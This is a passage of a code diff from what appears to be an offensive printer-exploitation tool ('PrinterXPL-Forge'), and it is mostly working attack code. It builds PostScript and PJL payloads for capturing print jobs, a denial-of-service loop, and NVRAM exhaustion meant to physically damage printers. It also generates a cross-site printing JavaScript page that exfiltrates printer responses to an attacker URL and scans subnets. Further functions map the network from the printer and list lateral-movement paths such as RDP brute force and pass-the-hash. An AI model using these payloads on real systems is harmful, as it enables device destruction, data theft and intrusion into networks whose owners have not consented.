+ f" linenum 0 eq {{\r\n"
716
+ f" /lines max array def\r\n"
717
+ f" slots slotnum lines put\r\n"
718
+ f" }} if\r\n"
719
+ f" dup lines exch linenum exch put\r\n"
720
+ f" counter (line) linenum 1 add put\r\n"
721
+ f" }} def\r\n"
722
+ f" {{ newjob {{(%!\\ncurrentfile /ASCII85Decode filter ) capture\r\n"
723
+ f" pop /newjob false def}} if\r\n"
724
+ f" (%lineedit) (r) file\r\n"
725
+ f" dup bytesavailable string readstring pop capture pop\r\n"
726
+ f" }} loop\r\n"
727
+ f"}} def\r\n"
728
+ f"{UEL}\r\n"
729
+ )
730
+
731
+ # DoS — infinite loop
732
+ dos_ps = (
733
+ f"{UEL}\r\n"
734
+ f"%!\r\n"
735
+ f"serverdict begin 0 exitserver\r\n"
736
+ f"{{}} loop\r\n"
737
+ f"{UEL}\r\n"
738
+ )
739
+
740
+ # PJL physical damage (NVRAM exhaustion)
741
+ nvram_damage_pjl = (
742
+ f"{UEL}\r\n"
743
+ f"@PJL\r\n"
744
+ + ''.join(f"@PJL DEFAULT COPIES={i}\r\n" for i in range(1, 1000))
745
+ + f"{UEL}\r\n"
746
+ )
747
+
748
+ payload_map = {
749
+ 'info': cors_ps,
750
+ 'capture': capture_ps,
751
+ 'dos': dos_ps,
752
+ 'nvram': nvram_damage_pjl,
753
+ }
754
+ chosen_ps = payload_map.get(attack_type, cors_ps)
755
+
756
+ # JavaScript XSP payload
757
+ js_payload = f"""
758
+ // PrinterXPL-Forge XSP + CORS Spoofing Payload
759
+ // Target: {printer_ip}:{printer_port}
760
+ // Attack: {attack_type}
761
+ // WARNING: For authorized penetration testing only.
762
+
763
+ var printerIP = "{printer_ip}";
764
+ var printerPort = {printer_port};
765
+
766
+ // Encode the PostScript job
767
+ var job = {repr(chosen_ps)};
768
+
769
+ function xspSend(ip, port, data, callback) {{
770
+ var xhr = new XMLHttpRequest();
771
+ xhr.open("POST", "http://" + ip + ":" + port, true);
772
+ xhr.setRequestHeader("Content-Type", "application/octet-stream");
773
+ xhr.onreadystatechange = function() {{
774
+ if (xhr.readyState === 4 && callback) callback(xhr.responseText);
775
+ }};
776
+ try {{ xhr.send(data); }} catch(e) {{ console.log("XSP:", e); }}
777
+ }}
778
+
779
+ // Send the payload
780
+ xspSend(printerIP, printerPort, job, function(response) {{
781
+ console.log("Printer response:", response);
782
+ {"// Exfiltrate response to attacker" if exfil_url else ""}
783
+ {"var img = new Image(); img.src = '" + exfil_url + "?d=' + encodeURIComponent(response);" if exfil_url else ""}
784
+ }});
785
+
786
+ // WebRTC-based printer discovery (scan subnet)
787
+ function discoverPrinters(subnet, callback) {{
788
+ var found = [];
789
+ var pending = 0;
790
+ for (var i = 1; i <= 254; i++) {{
791
+ (function(i) {{
792
+ var ip = subnet + "." + i;
793
+ pending++;
794
+ var xhr = new XMLHttpRequest();
795
+ xhr.open("POST", "http://" + ip + ":{printer_port}", true);
796
+ xhr.timeout = 1500;
797
+ xhr.onreadystatechange = function() {{
798
+ if (xhr.readyState === 4) {{
799
+ if (xhr.status === 200 || xhr.responseText.length > 0) {{
800
+ found.push(ip);
801
+ }}
802
+ if (--pending === 0 && callback) callback(found);
803
+ }}
804
+ }};
805
+ xhr.ontimeout = function() {{ if (--pending === 0 && callback) callback(found); }};
806
+ xhr.send("@PJL INFO ID\\r\\n");
807
+ }})(i);
808
+ }}
809
+ }}
810
+ """
811
+
812
+ # HTML wrapper
813
+ html_payload = f"""<!DOCTYPE html>
814
+ <html>
815
+ <head><title>XSP Demo</title></head>
816
+ <body>
817
+ <script>
818
+ {js_payload}
819
+ </script>
820
+ <p>Cross-Site Printing test page (authorized pentest only)</p>
821
+ </body>
822
+ </html>"""
823
+
824
+ return {
825
+ 'html': html_payload,
826
+ 'javascript': js_payload,
827
+ 'postscript': chosen_ps,
828
+ 'pjl': nvram_damage_pjl,
829
+ }
830
+
831
+
832
+ # ── G. Full network map ────────────────────────────────────────────────────────
833
+
834
+ def build_network_map(
835
+ printer_host: str,
836
+ subnet: str = None,
837
+ timeout: float = 5,
838
+ scan_ports: List[int] = None,
839
+ workers: int = 60,
840
+ verbose: bool = True,
841
+ ) -> NetworkMap:
842
+ """
843
+ Build a complete network map using the printer as the reference point.
844
+
845
+ Combines SNMP, PJL, web scraping, and direct TCP scanning to map
846
+ everything reachable from the printer's network segment.
847
+
848
+ Returns a NetworkMap with all discovered hosts and attack paths.
849
+ """
850
+ nm = NetworkMap(printer_ip=printer_host)
851
+
852
+ if verbose:
853
+ print(f"\n [NETMAP] Building network map from printer {printer_host}")
854
+
855
+ # 1. SNMP network info
856
+ if verbose:
857
+ print(" [NETMAP] 1/5 SNMP network info ...")
858
+ snmp_info = snmp_network_info(printer_host, timeout)
859
+ nm.gateway = snmp_info.get('gateway', '')
860
+ nm.netmask = snmp_info.get('netmask', '')
861
+ nm.dns_servers = snmp_info.get('dns_servers', [])
862
+ if verbose and nm.gateway:
863
+ print(f" [NETMAP] Gateway: {nm.gateway}")
864
+ print(f" [NETMAP] Netmask: {nm.netmask}")
865
+ print(f" [NETMAP] DNS: {nm.dns_servers}")
866
+
867
+ # 2. PJL network variables
868
+ if verbose:
869
+ print(" [NETMAP] 2/5 PJL network variables ...")
870
+ pjl_info = pjl_network_info(printer_host, timeout)
871
+ if pjl_info.get('default_gateway') and not nm.gateway:
872
+ nm.gateway = pjl_info['default_gateway']
873
+ if verbose and pjl_info:
874
+ for k, v in list(pjl_info.items())[:5]:
875
+ print(f" [NETMAP] PJL {k}: {v}")
876
+
877
+ # 3. Web network config
878
+ if verbose:
879
+ print(" [NETMAP] 3/5 Web interface scraping ...")
880
+ web_info = web_network_info(printer_host, timeout)
881
+ if web_info.get('gateway_hint') and not nm.gateway:
882
+ nm.gateway = web_info['gateway_hint']
883
+ # Add all IPs found in web pages as potential hosts
884
+ for ip in web_info.get('ips_found', []):
885
+ if ip != printer_host:
886
+ nm.attack_paths.append(f"IP from web page: {ip}")
887
+
888
+ # 4. Derive subnet and scan
889
+ if subnet is None:
890
+ if nm.gateway:
891
+ subnet = nm.gateway.rsplit('.', 1)[0] + '.0/24'
892
+ elif nm.netmask:
893
+ try:
894
+ net = ipaddress.ip_network(
895
+ f"{printer_host}/{nm.netmask}", strict=False
896
+ )
897
+ subnet = str(net)
898
+ except Exception:
899
+ subnet = printer_host.rsplit('.', 1)[0] + '.0/24'
900
+ else:
901
+ subnet = printer_host.rsplit('.', 1)[0] + '.0/24'
902
+ nm.subnets = [subnet]
903
+
904
+ if verbose:
905
+ print(f" [NETMAP] 4/5 Scanning {subnet} ...")
906
+ hosts = discover_network(printer_host, subnet, scan_ports, 0.8,
907
+ workers, verbose)
908
+ nm.hosts = hosts
909
+
910
+ # Identify other printers
911
+ nm.other_printers = [h.ip for h in hosts if h.device_type == 'printer']
912
+
913
+ # 5. Build attack paths
914
+ if verbose:
915
+ print(" [NETMAP] 5/5 Mapping attack paths ...")
916
+ _build_attack_paths(nm)
917
+
918
+ if verbose:
919
+ print(f"\n [NETMAP] Done: {len(hosts)} hosts, "
920
+ f"{len(nm.other_printers)} other printers, "
921
+ f"{len(nm.attack_paths)} attack paths")
922
+
923
+ return nm
924
+
925
+
926
+ def _build_attack_paths(nm: NetworkMap) -> None:
927
+ """Populate nm.attack_paths based on discovered hosts and services."""
928
+ for host in nm.hosts:
929
+ ports = set(host.open_ports)
930
+ ip = host.ip
931
+
932
+ # RDP — direct access to Windows systems
933
+ if 3389 in ports:
934
+ nm.attack_paths.append(
935
+ f"RDP brute-force: {ip}:3389 [{host.device_type}] "
936
+ f"→ lateral movement to Windows host"
937
+ )
938
+ # SMB — file shares, pass-the-hash
939
+ if 445 in ports:
940
+ nm.attack_paths.append(
941
+ f"SMB attack: {ip}:445 [{host.device_type}] "
942
+ f"→ file access, pass-the-hash, lateral movement"
943
+ )
944
+ # Other printers — chain attack
945
+ if host.device_type == 'printer':
946
+ nm.attack_paths.append(
947
+ f"Chain attack: {ip} [printer] "
948
+ f"→ exploit via PJL/PS to reach its network segment"
949
+ )
950
+ # Databases
951
+ if ports & {3306, 5432, 1433, 27017}:
952
+ db_ports = [str(p) for p in sorted(ports & {3306, 5432, 1433, 27017})]
953
+ nm.attack_paths.append(
954
+ f"Database: {ip}:{','.join(db_ports)} "
955
+ f"→ credential brute-force or unauthenticated access"
956
+ )
957
+ # Web management interfaces
958
+ if ports & {80, 443, 8080, 8443} and host.device_type in ('router/switch', 'unknown'):
959
+ nm.attack_paths.append(
960
+ f"Web management: {ip} "
961
+ f"→ default credentials, CVE exploitation"
962
+ )
963
+ # SSH
964
+ if 22 in ports:
965
+ nm.attack_paths.append(
966
+ f"SSH: {ip}:22 → brute-force or key re-use"
967
+ )
968
+ # NAS
969
+ if host.device_type == 'nas/fileserver':
970
+ nm.attack_paths.append(
971
+ f"NAS: {ip} → access shares, extract data via SMB/NFS/AFP"
972
+ )
973
+
974
+
975
+ def print_network_map(nm: NetworkMap) -> None:
976
+ """Pretty-print a NetworkMap to stdout."""
977
+ print(f"\n{'='*70}")
978
+ print(f" NETWORK MAP — from printer {nm.printer_ip}")
979
+ print(f"{'='*70}")
980
+ print(f" Gateway : {nm.gateway or '?'}")
981
+ print(f" Netmask : {nm.netmask or '?'}")
982
+ print(f" DNS servers: {', '.join(nm.dns_servers) or '?'}")
983
+ print(f" Subnet(s) : {', '.join(nm.subnets)}")
984
+
985
+ if nm.hosts:
986
+ print(f"\n DISCOVERED HOSTS ({len(nm.hosts)})")
987
+ print(f" {'IP':<18} {'TYPE':<15} {'OPEN PORTS'}")
988
+ print(f" {'-'*65}")
989
+ for h in nm.hosts:
990
+ ports_str = ', '.join(f"{p}({nm.hosts[0].services.get(p,'?')})"
991
+ for p in h.open_ports[:6])
992
+ print(f" \033[1;32m{h.ip:<18}\033[0m {h.device_type:<15} {ports_str}")
993
+ if h.hostname:
994
+ print(f" {'':18} hostname: {h.hostname}")
995
+
996
+ if nm.other_printers:
997
+ print(f"\n OTHER PRINTERS FOUND: {', '.join(nm.other_printers)}")
998
+
999
+ if nm.attack_paths:
1000
+ print(f"\n ATTACK PATHS ({len(nm.attack_paths)})")
1001
+ print(f" {'-'*65}")
1002
+ for path in nm.attack_paths[:20]:
1003
+ print(f" \033[1;33m[→]\033[0m {path}")
1004
+ print()